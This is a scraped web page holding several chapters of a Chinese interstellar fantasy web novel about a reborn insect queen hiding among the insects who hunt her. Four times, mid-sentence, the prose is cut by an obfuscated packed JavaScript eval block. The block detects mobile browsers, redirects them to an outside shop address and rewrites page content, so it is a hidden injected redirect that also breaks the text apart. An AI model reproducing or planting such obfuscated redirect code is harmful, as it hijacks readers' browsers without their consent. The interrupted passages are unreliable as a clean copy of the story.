——躲不掉。 黑暗如墨,像是将整个世界吞噬。 宁诺双手攥住匕首,险险止住了那即将划破她喉咙的锋刃。温热的液体自手腕滴落,往臂下蜿蜒流淌。 对方的呼吸在耳畔炸响。“…我走错房了?” 空间能力。 霎那,宁诺脑中闪过这个念头。 能悄声无息出现在她身边,且能量波动掩饰地近乎完美。 这是高等血脉! 电光火石之间,“轰隆”一声巨响!! 不远处,影子凭空出现,隔着一段距离的身形毕露。 气息和形态虽都隐匿了,但宁诺仍然认出了—— 这家伙,不是虫族。 对方还不慌不忙地朝她笑了笑,“不好意思,走错了。” 回应他的是一道炽烈的电光。 不见了。 宁诺的目光落在满地的玻璃碎片上,窗帘被风扬起。 神色隐在阴影中,没有意外。 既然不是虫族,结合前后的线索,那家伙多半是冲着塔维什来的,迟早还会再来找她。 她得离开。 手刚扶上门把手,门外忽然传来“扣扣”几声轻敲,紧接着一道熟悉而带笑的电磁音从人工传声器里传来: “您好,服务员。” 下一秒,牢固坚硬的金属门骤然变形。宁诺猛地后退,一把锋利的刀锋刺穿而来! “是这一间没错呀。” 即便在星际中也堪称顶级的材质,在扭曲的能量中也瞬间化为灰烬。 修长挺拔的身影不紧不慢地踏入房间,面容模糊,眸光微转。 然而此时房内一片空荡,除了打斗留下的痕迹,那名虫族居然消失得无影无踪。 “这可就麻烦了。”虽这么说,他眼底依然含着浅笑。 空间开始剧烈震荡。 一股精密的能量掌控下,房间内的波动宛如潮水般迅速席卷,却没有一件物品被破坏。如果此刻有人在场,估计会被这般强大的控制力吓到——如此巨大的动静,却做的悄然无声。 精神力仔细探查了整个房间,没找到任何生命迹象。 “跑得真快。可惜……时间到了。” 话语未落,一道黑洞般的阴影缓缓展开,逐渐将他的身影吞噬。 与此同时,房间像拥有生命般开始自动重组、合并,恢复如初,像从未有人踏足过。 ——他走得匆忙,没曾察觉一粒微小、肉眼几乎难见的影子从他的衣角悄然脱落,轻轻飘落在地。 黑暗中,时光无声流逝。 不知过了多久,终于维持不住变幻能力,宁诺变回人形。 氧气大口地灌入肺中,宁诺的冷汗如雨般淌下。她擦了擦脸颊。 然后意识到什么,低头摊开手掌。 一片刺眼的血迹。 怪不得那家伙在她攥住匕首时那么意外,让她有机可乘,她是真的不怕死啊。 还好虫母治愈能力强悍。这点毒…就还行。 宁诺拖着伤口挪向洗浴间,只庆幸重生前那几天几夜的追杀练就了她的紧急逃亡经验。 随之而来的第一个念头是:她这辈子怎么比上辈子还要衰,这么巧就碰到不属于她的暗杀现场。 第二个念头:她和虫族果然磁场不合。 凭她现在这幅能量耗尽的模样,即便是个低等虫族都能弄死她,别提那家伙要是再找上门,她恐怕没那么幸运了。 难不成去跟塔维什说有人要暗鲨他。 光是解释她如何从一个空间能力的高等血脉手下活下来的问题就困难了,要知道她不久前甚至弱的还逃不出笼子,说有两种虫族的能力,这不是自曝狼人吗? 宁诺艰难地洗净身上的污垢,她的那件斗篷在战斗中毁掉了,所以换上旅馆自带浴袍。 做完一切,她觉得自己白洗了。 伤口疼的又流了一身汗。 所以还是得想个法子跑路—— 门外再次响起一阵敲门声。 “您好,服务员。” 宁诺系腰带的手一僵。 短短一秒钟,她已经幻想了一遍自己是怎么沦为俎上鱼肉、任人宰割的情景。 万幸的是,这次来的是真正的服务员。 再三确认后,宁诺跟着服务员带往宴会。 与此同时,塔维什和埃利亚斯早已坐在贵宾包厢里,俯瞰着下方的喧闹景象。 灯火辉煌,大厅璀璨夺目。 各式各样的种族汇聚一堂,形态各异、装束奇异,整个大厅被闹哄哄的气氛点燃。 事实上,普通的宴会并不足以吸引如此多高等血脉出席,何况这里还是恶名昭彰的暗星。 各个种族齐聚于此,是因为今日的贵宾之一,有一名族群陛下。 虽然只是一个小族群的首领,在这繁杂的星际中掀不起多大波澜,然而因这个族群的特性极为独特。 令多数种族前后相继。 塔维什俯视着底下熙攘场景。 半响,眼睫微微抬起。“还没到?” 按他吩咐服务员的时间,宁诺此刻应该早到了宴会,可现在连个影子都没见到。 塔维什想到些什么。 听那些家伙说,宁诺自从回到房间就再也没出来,至少四个小时过去,这家伙不会是睡着了吧。 那他不就吵醒了对方。 塔维什抬手抵住额头,心底忽然泛起一丝懊恼。 不对—— 有什么好懊恼的。 他只是怕那雄虫饿死了。 就那瘦弱枯骨的模样,估计在商贩那连食物都抢不到。 “……” 塔维什垂下的眸子扫了一圈楼下,哪怕只是想象那个画面,一股莫名的烦躁就从心底窜起。 该死的。 ……他当时就该灭了那商队。 埃利亚斯并没有理会同伴突然的躁动。 实际上,对于那些长期精神力失控的虫族来说,这种情绪波动早已司空见惯。更何况塔维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373230|200034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什才刚使用了艾尔晶石,情绪尚未完全平复,也算正常。 宴会敢邀请随时会暴动的虫族,才值得敬佩。 他正在联系通讯另一端的族裔。 “如果飞航计时没出错的话,我一小时后就能抵达暗星。” 那是一个红发碧眼的青年,俊美妖冶。 他懒散地斜靠在沙发上,双手随意搭在两侧。 随着他微微侧头,脸颊上的纹路一览无遗,那花纹从敞开的领口露出的精致锁骨蜿蜒而上,盘踞在肌肤之上,透着某种惊心动魄的美感。 “其他族裔都到了?”他似乎有些讶异,随即露出一抹轻笑。“不好意思,睡过头了。” 埃利亚斯眉头微蹙,然而对方仿佛早已预料到他的反应,抢先开口:“别急,要真需要我,我能直接瞬移过去。” “费不了多少时间,好了,再见。” 卡西安语速很快,压根不给回应的机会,迅速挂断了通讯。 飞航私人贵宾室。 震撼的音乐如雷贯耳,四周人群喧嚣如潮。低沉的节拍仿佛将空气压得发颤,灯光在舞池上空来回闪烁,将人群的狂欢照映成迷乱的剪影。 卡西安轻笑出声。 已经能想象到被挂了通讯后,埃利亚斯摆出的一张臭脸了。 是他想要的效果。 在昏暗的角落,卡西安独自坐着,身影几乎与周围的阴影融为一体。 酒杯在指间轻转,琥珀色的液体泛起波纹,视线扫向落地窗外璀璨的外太空。 神情在面对族裔时的漫不经心,逐渐沉寂,直至面无表情。 他的手指缓缓抚上胸口。 卷翘的睫羽微颤,虹膜色泽冷淡凉薄,在炫彩的暗影中忽闪忽灭晃动着。 紧紧攥住着的艾尔晶石实际上早已能量耗尽,黯淡无光,可他却如视珍宝那般小心翼翼。 他低声喃喃。 声音微弱得几乎听不见,几乎要靠的极尽才能捕捉到那些字句。他在说—— “陛下,为您献上至高荣耀。” “陛下。” “陛下……” “陛…” 宁诺:“……” 走在路上,宁诺就像路边被踹了一脚的狗,脑海再次一阵嗡鸣,似是又有哪个虫族、不,很多虫族透过层层封锁的精神链接,在试图呼唤着她。 恐怖。 这该是多少族裔追来了。 就她一个刚破壳虚的要死的虫母,值得这么多高等虫族围剿吗?! 太看得起她了。 宁诺一瞬的不自然被身侧的人察觉。 “怎么了,安努克?”对方轻声问她,声音柔和而关切。 清脆的铃铛声在空气中轻轻回荡,宁诺侧过头,和那名少女对上视线。 这是一名人鱼族混血,原谅她只辨认出其中之一的血脉,实在是这个星际的种族太多,她光是了解虫族就耗费了半辈子。 少女有一头宛如深海波涛般的长发,幽蓝色的发丝在光下泛着微光,而她那双漆黑如渊的眼眸,仿佛能将一切吞噬。 她穿着一身端庄华丽的绣袍,此时正温和地望着她。 6. 第 6 章 少女体态端丽,幽蓝发丝垂落至腰。斑驳树荫打在她的侧脸,波光粼粼。 她肤色凝白如瓷,眉眼柔和,在仿真日光下细腻无瑕。 胸前的鸢尾徽章昭示其身份。 “我没事。谢谢您,”宁诺眼睑下垂:“洛翠冕下。” 肩上触感温热,宁诺微顿。对方朝她微笑,抚去她肩上残叶。 穿过溪水蜿蜒的小庭,花絮层层环绕。前路喧声如潮扑面而来。身侧少女语气轻柔:“我们到了。” “可以找到你的族群吗?” 宁诺:“可以的。” 就在她话音刚落。 “欢迎您,洛翠冕下。”一名侍从热烈迎上,随即接二连三的身影接踵而至。 “陛下!” “陛下您到哪里去了,怎么不通知属下。” “您身边竟然没有随从随行吗?” 来者皆是年轻活泼的族裔,外貌几乎清一色带着混血特征。只消一眼,便能辨出,这是一支由年轻族裔组成的护卫团。 宁诺顺从地为他们让步,默默注视着这一幕。 在宁诺重生前,即便星际文明已高度融合,不少族群仍沿袭着虫族式的传承与繁衍制度,以纯血为尊,排斥异族,歧视外裔。 混血受各族排斥,只能流浪星际。 没有族群首领的精神力梳理,混血者多短命早夭。 精神觉醒者,即具备安抚他人精神力能力的特殊个体,通常由雌性觉醒,且自幼便会显现能力。每一位觉醒者,都是所属族群公认的未来族群陛下,被众族统一尊称为冕下。 但如今,时代已变。除虫族这一仍保留旧制的奇葩类别外,“种族”与“族群”已逐渐开始相互分离。种族对应血统与母族,族群对应个体日后归属或统领的势力。 她面前的少女,正是出自濒临灭绝的“萨尔”族的族群陛下。她是该族首位由混血继承王位的统治者,也是种族与族群合一的少见案例之一。 ——信息来自四周的窃窃私语。蜕变后,她的听力显著提升,宾客交谈尽数落入耳中。 族群们注视到一侧的宁诺。“冕下,这位是…” “是路上遇到的,刚认识的友人。”洛翠轻声细语,解释道:“我们顺路。” 当时,服务员将她引至宴会入口便离开了,正巧碰上独自落单的洛翠聊了几句…宁诺不动声色地移开视线,这群族裔在听到后,眼神就不对劲了,像是要把她生生刺穿。 宴会人潮涌动,露天穹顶由弧形透明屏障笼罩,将偌大场地四面封围。二层包厢装设防透玻璃,只能看见模糊轮廓。 但只要精神力稍具强度,便能察觉此刻无数视线正自四方涌来,密不透风,宛如蛛丝密织。 这一切的源头,皆归于那位尊贵的冕下。 就在宁诺犹豫现在到底该何去何从时,后领被勾了下。 “你愣着做什么?” 宁诺肩膀一沉。黑发虫族不知何时立于一侧,按着她,眉眼间透着几分不耐。 同时,她越过塔维什,看到另一个有过一面之缘的银发青年。 那双深灰色的瞳孔像覆着薄雾,辨不清底色,冷得像某种无机质的爬行动物审视着她。 宁诺指尖微蜷。 “洛翠冕下。”埃利亚斯却不再看她,朝远处淡淡颔首。 洛翠似乎也认识他,朝他们友好点头:“无须多礼。埃利亚斯,塔维什。二位能代表虫族前来,我很惊喜。” 毕竟,高等虫族本身便代表着至高权力。 即便是被宇宙法则定义为尊贵的“冕下”,也有无需让步的权柄。 塔维什若有若无地扯了扯唇,拎住新生虫族往回走,“走了。” “喂。” “你为什么和她在一起?侍从呢?”走在途中,塔维什偏头叫唤她:“友人,是怎么回事?” 他听到了。 宁诺不意外,虫族普遍身体素质卓绝,那点距离,根本瞒不过这群家伙。“那名服务员没有邀请,无法进入宴会。我和那位冕下……”她斟酌措辞,“碰巧遇上,聊了几句。” 没什么隐瞒的必要,她将过程一五一十地老实道出。 “那是混血族群。洛翠,是低等精神能力者。”埃利亚斯却是先回答了她,“也是四种种族混血。” “混血一向短寿。洛翠虽是首领,但传闻中她孱弱多病,是温室中养大的娇花。”他的声线很淡,叙述的语气:“传闻是真的。” 宁诺:“……” 这是想表达什么。 如果不是你们还没弄死我,差点以为在内涵我了。 埃利亚斯说完,便不再开口。 就像是一时好心科普。 只是最后一句。宁诺内心一动。 不久,一名侍从来到包厢,告知宴会顺序有所调整,拍卖会将延后举行。塔维什随意摆摆手,将人打发。 而宁诺自始至终,隔着玻璃,静静凝望着下方。 如若仔细观察,能看得出她身体不自然地僵硬,与这两家伙共处的时间越久,于她而言便越像一种煎熬。 或者说,从塔维什将“他”捡回来那刻起,就什么都不对了。 还是那句话。 虫族什么时候学会扶贫了? 正当宁诺百思不得其解,思索如何顺利脱身,塔维什又一次不动声色地移开了余光——这是十分钟内的第三次。他指尖捏着小杯,抿了一口。 太频繁了。塔维什自己也意识到,心里有些说不上来的躁意。 可这躁动仿佛又有些不同于以往——那种絮乱、徘徊在崩溃边缘时的失控冲动。 或许是从没见过那么无能,能被关在兽笼里那么久的高等虫族。 而洗完澡的新生,从灰扑扑变得干净清爽,顺眼多了。 仍然是那件褐色斗篷,但已清洗干净,烘干时还添了柔顺剂,看上去柔软蓬松。就像他这个人一样,大概是刚破壳不久,脸颊仍带着几分婴儿肥。 黑发湿漉漉地贴在脸侧,随意垂落至肩,发尾泛出深红。发梢微翘。 那是剧毒类虫族的特征。 塔维什下意识摩挲着杯沿,目光落在沙发上的少年身上。 下方愈发热闹,隔着玻璃都能感受到那股喧嚣。宁诺再次看见了洛翠,她已换上一袭更为华丽端庄的礼袍,立于高台之上,身侧臣属环伺。 然后宁诺忽然感知到什么,是屏障。面前那层精神力防护屏正逐渐变薄,像气泡被戳破般,外界的声音骤然倾泻而入。 一道空灵、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373231|200034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻柔的嗓音随即响彻全场: “很高兴与你们在这里相会。” 那位端庄的人鱼混血这么说,“今日,我很荣幸将在此挑选一名族裔,加入我们的家庭。” 宁诺一怔。 对方恰好抬眸,她望入那片碧蓝。 那是一双,带来“勇气”的眼睛,宛如包容、温柔的无尽深海,将一切悲痛拢入怀中。 很漂亮。 下一秒,宴会掀起喧哗如潮。 暗星,一颗早已被星际联邦默认为弃子的星球。它是各类非法活动最为频繁的灰色地带。 聚集于此的种族,大多是在星际中无处容身的亡命之徒。 他们是知道这名族群陛下之所以到来,估计是因为拍卖会,想来碰个运气。却没想到,这个意思,是让他们有机会公平竞争? “我好像喝多了。”新生虫族忽然站起来,“去一趟洗手间。” 塔维什:“知道路吗?” 宁诺:“……知道。” 实际上是临时包扎的伤口裂了,太简陋匆忙就是这样。她得重新处理一遍,不然即便有意掩盖也会露馅。 毕竟旧伤,气味是不会愈来愈浓的。 宴会正厅人山人海,各族跃跃欲试,几乎将场地围得水泄不通。各包厢中的窥视更甚,众目注视着中央,静待下一步动作。 而那位陛下,在话音落下后已退至族群之后。 本场小型赛事交由她的护卫们主持。 身在外围的一名护卫伫立着,大概刚成年的年纪。面容仍带几分青涩,黑瞳外沿隐约泛着一圈深蓝,这是他与首领有同一种混血的特征。 他认真审视着每一位报名者。 心神却早已游离。 这可是暗星。陛下,为什么忽然做出那一个决定。 当初他们释放出开放意愿后,无数种族接连递来请求,然而陛下始终未予回应。却偏偏在今日,就在宴会开始的前一秒… 是他。 护卫指节微紧,神色微凝,目光越过层层人群,落在那个少年身上。 瘦小、斗篷一文不值,一眼便能看出他长期处于营养不良的环境中。至少在此之前,他的境况绝不算好。 阴暗、胆怯,就如每一个生存在暗星的生物。 除了一张能看的脸,再没任何特别。 这模样,即便是“虫族”,大概只能是低等奴隶。 这时候。护卫心里冷笑,难道以为跟陛下聊了几句,就能痴心妄想…… 却在这时,他的背后响起熟悉的音量。 “安努克。” 少女温柔的视线静静注视着那名少年。 少年的发丝干了一些,蓬松柔软,有些湿意。 洛翠不知他人如何,但早在看见他的第一眼时,她就不可抗拒的,心脏剧烈跳动。 那本该无机质的瞳眸,斑驳倒映着树下的阴影。他一个人孤零零的站在那,站在小池子边,仿佛漫无目的地游荡,又像始终徘徊在世俗之外。 人鱼血脉对情感的捕捉是与生俱来的天赋,她第一次嗅到了,一股浓烈、令人难以忍受的,颤栗的…空寂。 那一刻。 洛翠微笑:“又见面了。” “她”渴望了解他。 7. 第 7 章 能将人形虫族视作“低等血脉”,足以说明这些护卫对虫族知之甚少。 但这再正常不过。这个星际里,虫族作为最古老也最神秘的种族之一,关于他们的一切,几乎皆属秘辛。 一无所知,才是常态。 可身为以混血之身登上上位的冕下,洛翠有着近乎本能的敏锐。她一眼便看出,这名看似普通的少年体内,蛰伏着令人战栗的可怕潜能。 于是,只一眼,她便做出了决定。可在得知他的种族后,这个决定很快化为失望。 众所周知,虫族没有混血,这意味着他们对“虫母”的服从绝对且不可动摇。不同于其他远古大族——人族高度多元,强大显性基因不受族群归属限制;人鱼族效忠冕下,也忠于纯血;龙族天性自由,热衷散播血脉… 虫族兼具“形体”与“意志”。对他们而言,种族与族群从来同一,王也永远只有一位。 她只有放弃一条选择。 可她仍决定进行一次族裔筛选。 或许是出于现实考量。这个新生的族群,的确急需足够的族裔充实根基。也许是不甘。面对那两名高等血脉的挫败令她迫切想要证明什么。又或许是… 宁诺重新包扎好伤口,出门右转。 直到一声呼唤传来。她抬起头,又一次对上那双温柔得叫人沉溺的深蓝瞳孔。 那位冕下见到她,邀请道:“如果没其他事的话,来我这里坐坐吗?” 掌心毒素的复发速度比想象中的要快。宁诺面上不显,背后却早已湿透。 不仅因为伤口反复溃烂,也因为神经始终紧绷——还是其的位置太明显的原因。 而那名叫埃利亚斯的虫族似乎对她的敌意更深了。 刚刚的那句话,像是在试探。 若这伤被发现,她压根解释不清,那可真是…太糟糕了。 毕竟还是那句话,凭她现状,一只高等虫族碾死她就跟玩似的。 洛翠此时的邀请,无异于一场及时雨。 宁诺没有犹豫答应了,但顿了下,表示她得通知塔维什一声。 “太好了。”洛翠笑道:“通知的事,我让人去办,无需你再多跑一趟。”说着,她示意身侧护卫。 然后带着宁诺进了自己的包厢。包厢设在一层,离宴会中央很近,非常方便她观察每一名参赛者。 “只是坐着有些无聊,可以吃点零食,点心。” 洛翠在她对面坐下,圆桌上早就摆满了琳琅满目的点心。宁诺不争气地咽了口口水,听见洛翠一声轻笑,耳根顿时有些发热。 不是她故意的。真的是因思虑过度,她都忘记自己需要进食了。 宁诺认真道:“谢谢您。” 洛翠柔声道了句不用,随手将耳畔碎发拨开,状似继续看向包厢外的参赛者。可她身侧伫立的都是心腹护卫,哪一个不是时刻盯着她的反应,又怎会察觉不到,她对这名雄性虫族的不同。 刚巧方才领命去通知的外围护卫回来复命,愈发印证了这一点。 到底怎么回事!? 他们面面相觑,皆看到彼此眼底的探究。实在没看出这名少年除了相貌之外,还有什么可取之处。 不久前见到这位,他们还有点紧张。但后来那两个高等虫族视她如无物,可以肯定这家伙不是什么厉害的角色。 只能是会说话。趁着陛下散心,凑上去搭讪的。 护卫们越想越觉得没错,暗地里牙都要咬碎,只觉得少年那冷淡镇定的面容下,太多的坏心思。 真是诡计多端的雄性!! 就在护卫们思维发散,恨不得替宁诺编出一整套完整版的心机过程时,宁诺还在埋头吃蛋糕,一盘接着一盘。 后来洛翠像是看出她的饥饿,桌上又添了主食、肉食和蔬菜。 宁诺感激坏了。 少年的面容冷淡,可望向她时,那双眼却亮得像盛着日光的湖水。连原本被柔顺厚发衬出的沉静,也仿佛被那一瞬映得明澈了几分。 明明真正怀着心思的人是我。洛翠想着,听着少年朝她道谢,却觉得自己被捕获了。 ……所以,试试吧。 洛翠强压下这个念头带来的失控、疯狂的心跳。她对自身条件很有自信。以她如今的身份地位要招徕高等血脉,多的是求之不得的对象。 于是她状似不经意地问:“安努克见过虫母陛下吗?” 宁诺:“没有,洛翠冕下。我才刚刚破壳。” 洛翠眼里怜惜:“原来如此。我听你说过,你是流落至暗星的。” 宁诺:“是的。” 洛翠闻言,怜爱地摸了摸她的脑袋,轻轻叹了口气:“辛苦你了。” “不辛苦。”宁诺顿了顿,就像每一个普通被救回的雄性虫族那般正常回答:“塔维什阁下救了我。” “那就好。”洛翠顺势将话题一转,“说起来,他是高等雄虫吧。我听说,大多数虫族一生都无缘得见虫母陛下,即便是高等血脉也是一样。明明那样爱戴,却始终不得相见。一直忍耐着……你想来以后也很辛苦。” 宁诺沉默了下,点头。 不辛苦。 最好一辈子不见。不然,您下次看见我,一定是在断头台直播上。 洛翠张张口,还想说些什么。 却听少年忽然抿唇,低声说: “洛翠冕下一个人要管理这么大个族群。才辛苦吧。” 下一秒,护卫们便眼睁睁看见,自家陛下耳根一点点泛起了粉。那颜色晕得再明显不过,众人当场愣住。其中一名终于憋不住了,这家伙明明是有族群的,竟还敢这样不知羞。可他那个“喂”字才刚顶到喉咙—— “谁?!”他猛地站住,警惕看向来者。 来人神色懒懒,紫瞳却泛着漠然。 他是忽然出现在门外的。 显然,若非包厢里坐着一位“冕下”,这名虫族绝不会在门外等待的耐心。但他眼下的耐心似乎也将要告罄。 “冕下。”这名高等虫族勾了勾唇:“我来领虫了。” 宁诺:“……” 塔维什绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373232|200034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对不是正常虫族! 真的。她以她做虫母几十年的经验保证,她认知里的虫族,对待自己的族裔绝对没有这么“热心”、“关照”! 埃利亚斯那样,即便对虫崽也冷淡的性子,随时都能撒手不管才是正常的啊!! “根据研究院的情报,她就在这颗星球。” “为什么选择这个酒店地址?” “埃利亚斯选的。他的直觉一向很准。” “你的意思是?” 另一个嗓音低沉,不紧不慢:“她或许,就在这里。” 宁诺被瞬移到另一个空旷的大厅,面对多出来的几个陌生、高大身影,以及不远就听到的对话,心态是有点微崩的。 这种情绪,在看清其中一人模样后,更是坠入谷底。 ……珞因。 “珞因。” 那位发言的族裔侧首,一凌乱红发垂落,敞开的衣领间,花纹自锁骨一路蜿蜒而下,肆意纵放,“你怎么看?” 话音落下时,塔维什恰好停步。 宁诺跟在他身后,也只得一并停下。而那个自始至终一言未发、倚墙而立的青年,也在这时收起屈起的腿,直起身,随意束起的黑发自胸前滑落。 那束发的白色丝绸,就与他的那双瞳孔那般,第一印象,浅淡得近乎晨曦初透时的第一线天光。 无温、透明,轻的近乎失真。 他半阖着眼不含情绪地垂下,穿过无形空气,精准的落向了宁诺。 ——塔维什身后的雄虫。 在他的动作下,其余族裔也像察觉到了什么,接连静静回头。猝不及防间,宁诺居然有一瞬恍惚。扑面而来的熟悉画面恍若昨日。 不一样的是。上一次类似场景发生,她是被族裔认可的…好吧,她得承认,她曾经将虫族当成“家人”。 而这一次是,宁诺努力平复内心的波动。打,打入敌方内部? 还有一个熟人。 ……刺激啊? 其他族裔也察觉两人的到来,目光掠过宁诺,纷纷打趣道:“塔维什,你怎么还带了一个幼崽来?” 塔维什闻言环胸,慵懒嗤笑:“关你屁事。” “啧,你这脾气,怎么像是越来越坏了。” 宁诺原以为话题就此岔开,她可以当一个背景板至少有口气喘时,一道声线很淡,却不容忽视的话语再次轻轻响起。 “怎么不算事?” 青年垂眼看她,目光平静,却极具有穿透性。 有那么一刻,宁诺生出一种窒息。 面对这个走到她眼前、曾与她最为亲近的族裔,她像是被生生剥开,刺裸裸的。在这双瞳孔下,仿佛毫无秘密可言。 一切挣扎、伪装,都粗陋得不堪一击,早被看穿。 于是只这一瞬僵硬,她毫无防备地被扼住左臂。斗篷下滑,露出掌心缠着的渗血绷带。 青年语气平静:“受伤了,怎么不算事?” 宁诺:“……” 当初,就该把你直接丢在蛇窝自生自灭。 8. 第 8 章 硝烟未散,火光舔舐战后的狼藉,影影绰绰地投落满地残破、辨不清原形的众多残骸,只能依稀辨出,皆属蛇目。 “啊,找到了,是这家伙吧。” 另一个比之沉稳的嗓音紧随其后,“喂,就是你给陛下发送求救信号的?我们千里迢迢来救你,可要好好回报陛下。” “开什么玩笑呢。阿泽尔,这不是必须的吗?啊,陛下要过来了!” “小鬼,先跟我重复一遍待会的话。”又是另一个轻笑,“陛下,从今往后……” 那几个身影逆光伫立,熊熊燃起的火光中,一道逐渐显露的纤瘦身型格外醒目,熏烧后的短发杂乱不堪,沾满污垢的面孔有一双明亮、水银般的眼瞳。 “陛下,从今往后。” 瘦小却生命力坚韧的少年单膝跪地,仰望着她,像是在看一场难以企及,却美梦成真的幻梦:“我将是您的盾,您的矛。” “您所指之处,便是我所往之地。” “愿为您,清除前路一切阻碍。” 这是每一个虫族在被虫母收入麾下前的宣誓。看来那群族裔默认,少年是她选中的近身护卫传承者。 少女没否认。 炙热烽火呼啸,她垂眼看着他,“你的族裔已经全部战死。你是唯一的新生儿,也会是最后一个。从今往后,你跟我姓,名珞因。” “是。”少年温顺俯首,“吾名,缇洛斯·珞因。” 现在地位完全颠倒。 真是风水流转,苍天饶过谁。 谁曾想过当初救的虫崽子,会以如今这种滑稽的方式反噬。宁诺笑不出来,还有点命苦。 第一时刻,她感到身侧的空气变了。 “怎么了?”珞因语气平静:“塔维什,你的脸色不是很好。” 哎。 火上浇油真有一套。 宁诺唇齿微抿。骤然攀升的肾上腺素激得血腥味漫上味蕾,在四周若有若无的笑意与审视下,她忽然攥紧手指。 珞因:“你?” 他轻易扣住她的手腕,卸去那点力道,却没能拦下雄虫先前留下的动作。绷带裂成两截坠落而下。 他目光微顿,塔维什却更快,瞬息夺过宁诺的手,捧起:“怎么回事?” “你为什么自残?”这上面是她的毒素。 宁诺装作茫然:“我只是,那时,莫名感觉很烦躁,想要宣泄。”她转头看向他,“这不正常吗?” 塔维什闻言,像是想起什么,低骂了一声。他撕裂空间,长臂从中拎出一块火红的水晶物状,“是我忘了,对不起。” 水晶覆上一瞬,那道伤口迅速愈合。 塔维什却更加烦躁,“为什么不早告诉我?你怎么,”他皱眉,目光在她脸上流转半响,嗓音放轻:“算了,你下次记得跟我说。这段时间,你就跟在我身边。” 宁诺应了声好。 她凝望鲜血淋漓的掌心,看着那道伤口逐渐疗愈,渐渐淡成一条模糊红线。 艾尔晶石。有治愈效果——不止针对精神,还包括肉/体。 是的。幸好,早在厕所里,她就想过如果还是暴露了该怎么办。解决方式不能只有一个,于是她干脆将自己的毒液浇灌叠加在伤口上。 如果后头真的暴露,那就确定是“他们”对她起了疑心。 正好借此打消。 毕竟她出生暗星,没有经过虫母的精神力安抚,产生精神暴乱是正常现象。 “珞因,多亏了你啊。要不然,这个小虫崽还不知发生了什么。”那个红发虫族轻笑——卡西安又一次插入话题,虽是这么说,他指尖扯开领口,显然不是很关心这只“雄虫”的事。 甚至,他内心隐隐生出些许无趣,还以为…… 他的视线流转在站着没动、一言不发的珞因,和仍在说话、没理他的塔维什,无声嗤笑。 真是闲得慌。 如果支撑不住,就该去死。无用的族裔,没有存在的价值。 心里恶意翻腾,他面上却慵懒地转头:“好了,既然等到埃利亚斯了。那么,”众族裔这才看见,不知何时站在一侧的男人:“就请埃利亚斯说说,目前是什么情况?” “暗星已经封锁。从现在到明日这个时间,不会有一艘飞航靠岸,也不会有一艘驶出。” 埃利亚斯:“各个族裔目前分组,分别集合在暗星的各个位置。” 站在众多身影之后,宁诺手脚冰凉。偌大的全息投屏上,密密麻麻的红点像泼洒开的猩红鲜血,几乎占满整颗星球每一处重要地带。 虽然早有准备,但真正看到还是感到心底一沉。 唯一值得庆幸的是,对方也尚未进化至最后形态,因此只是感知到了她的出生动向。在她封锁精神体、切断侦查后,才派出族裔前来狩猎。 “再过一小时,侦查设备将会全面覆盖整颗星球。另外,今日的宴会邀请的各个种族的高等族裔,她没法浑水摸鱼。” “这次是?” “研究院那边是打算活捉。” “他们是下定决心彻底查清她复生的原因,以及,”埃利亚斯抬眸,深灰瞳孔深处,戾气丛生:“她的来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373233|200034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 源。” 卡西安低笑:“太棒了。为陛下献上至高荣耀。” 众族裔垂首,单手抚胸:“为陛下献上至高荣耀。” 跟着一起的宁诺内心微叹。 真是安排的明明白白。 要不还是死了算了。 - 集合安排妥当后,众族裔没有寒暄的意思,自行散去。宁诺跟着塔维什,一路回到他的房间。 宁诺其实对这个房间颇有心理阴影,可眼下显然还有另一场更大的生存危机,也顾不上观察这里后来还有没有“人”来过。 何况现在,对方“真正的目标”回来了。 虫族黑发随意散落,修长手指合上门,狭长瞳孔睨向她,宁诺内心一跳,还以为他察觉到什么。却感到头上附上重量,对方嗓音低低道:“别怕。” 宁诺面无表情。 紫色瞳孔一眨不眨地望着她,像黑夜里妖异的昏光,漂亮,耀眼。 他的手指苍白,指骨分明。在她的目光下,像变魔术般,砰,砰,数不清宝石似的艾尔晶石砸落在地。 